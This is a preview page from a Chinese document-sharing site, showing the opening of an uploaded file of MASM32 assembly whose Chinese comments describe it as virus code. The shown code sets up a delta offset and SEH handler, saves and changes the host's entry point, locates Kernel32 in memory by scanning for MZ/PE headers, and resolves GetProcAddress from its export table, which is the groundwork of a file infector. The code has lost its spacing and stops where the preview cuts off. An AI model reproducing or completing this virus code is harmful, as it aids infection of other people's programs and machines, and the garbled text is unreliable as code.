immunity代碼(柴婷婷)

immunity代碼(柴婷婷)

ID:38258507

大小:22.54 KB

頁(yè)數(shù):18頁(yè)

時(shí)間:2019-06-07

immunity代碼(柴婷婷)_第1頁(yè)
immunity代碼(柴婷婷)_第2頁(yè)
immunity代碼(柴婷婷)_第3頁(yè)
immunity代碼(柴婷婷)_第4頁(yè)
immunity代碼(柴婷婷)_第5頁(yè)
資源描述:

《immunity代碼(柴婷婷)》由會(huì)員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在教育資源-天天文庫(kù)。

1、.386.modelflat,stdcalloptioncasemap:noneincludemasm32includewindows.incincludemasm32includekernel32.incincludemasm32includeuser32.incincludelibmasm32libkernel32.libincludelibmasm32libuser32.lib;這是一些相關(guān)的定義,;------------------------------------(上面的)--.datamc

2、aptiondb"你好!!!!!!!!!!1!",0mtitledb"*標(biāo)題*",0;主程序所用到的一些變量;------------------------------------(上面的)--.codehost_start:invokeMessageBox,NULL,offsetmcaption,offsetmtitle,64invokeExitProcess,0;主程序代碼,只是簡(jiǎn)單的打一串字符而已。;病毒代碼運(yùn)行完后,就會(huì)跳到此處執(zhí)行。;------------------------------------(上面的)--Im

3、munitySEGMENTPARAUSE32'Immunity'assumecs:Immunity,ds:Immunityvstart:pushebppushespcallnstartnstart:;;;;;;;;;;;;;popebpsubebp,offsetnstart;病毒中常用的一種方法。得到一個(gè)偏移差。;程序后面用到的所有變量都需要加上個(gè)這偏移差;------------------------------------(上面的)--assumefs:nothing;設(shè)置SEH,發(fā)生異??梢灾苯臃祷卦肟?leaebx,SEH

4、[ebp]pushebxpushfs:[0]movfs:[0],espmovOldEsp[ebp],esp;=========================;*更改程序入口地址*cmpold_base[ebp],0jnzgonextmovold_base[ebp],400000hgonext:cmpold_in[ebp],0jnzchangemovold_in[ebp],1000hchange:moveax,old_base[ebp]movdes_base[ebp],eaxmoveax,old_in[ebp]movdes_in[eb

5、p],eax;變量定義的的意思見后方;程序開始執(zhí)行時(shí),當(dāng)前程序的原入口地址會(huì)放到old_base+old_in中;由于程序中old_base_in有別的用途,因此將此地址存放到;des_base_in,以便最后跳回原程序入口。;------------------------------------(上面的)--;獲得KERNEL32地址及所需的API函數(shù)地址moveax,[esp+10h];//取Kernel32返回地址andax,0f000hmovesi,eax;//得到Kernel.PELoader代碼位置(不精確)LoopFi

6、ndKernel32:subesi,1000hcmpwordptr[esi],'ZM';//搜索EXE文件頭jnzshortLoopFindKernel32GetPeHeader:movzxedi,wordptr[esi+3ch]addedi,esicmpwordptr[edi],'EP';//確認(rèn)是否PE文件頭jnzshortLoopFindKernel32;esi->kernel32,edi->kernel32PEHEADER;//////////////////////////////////////////////////查找

7、GetProcAddress函數(shù)地址movvKernel32[ebp],esiGetPeExportTable:movebx,[edi+78h];4+14h+60haddebx,vKernel32[ebp];//得到輸出函數(shù)表movvExportKernel[ebp],ebxpush14callaGetProcAddrdb"GetProcAddress",0aGetProcAddr:leaeax,GetApiAddress[ebp]calleaxoreax,eaxjzExitTimesmovvGetProcAddress[ebp],e

8、ax;得到GetProcAddress地址leaesi,bGetModuleHandle[ebp];獲得所有用到的KERNEL32函數(shù)的地址leaedi,vGetModuleHandle[ebp]cldComeOn:lo

當(dāng)前文檔最多預(yù)覽五頁(yè),下載文檔查看全文

此文檔下載收益歸作者所有

當(dāng)前文檔最多預(yù)覽五頁(yè),下載文檔查看全文
溫馨提示:
1. 部分包含數(shù)學(xué)公式或PPT動(dòng)畫的文件,查看預(yù)覽時(shí)可能會(huì)顯示錯(cuò)亂或異常,文件下載后無此問題,請(qǐng)放心下載。
2. 本文檔由用戶上傳,版權(quán)歸屬用戶,天天文庫(kù)負(fù)責(zé)整理代發(fā)布。如果您對(duì)本文檔版權(quán)有爭(zhēng)議請(qǐng)及時(shí)聯(lián)系客服。
3. 下載前請(qǐng)仔細(xì)閱讀文檔內(nèi)容,確認(rèn)文檔內(nèi)容符合您的需求后進(jìn)行下載,若出現(xiàn)內(nèi)容與標(biāo)題不符可向本站投訴處理。
4. 下載文檔時(shí)可能由于網(wǎng)絡(luò)波動(dòng)等原因無法下載或下載錯(cuò)誤,付費(fèi)完成后未能成功下載的用戶請(qǐng)聯(lián)系客服處理。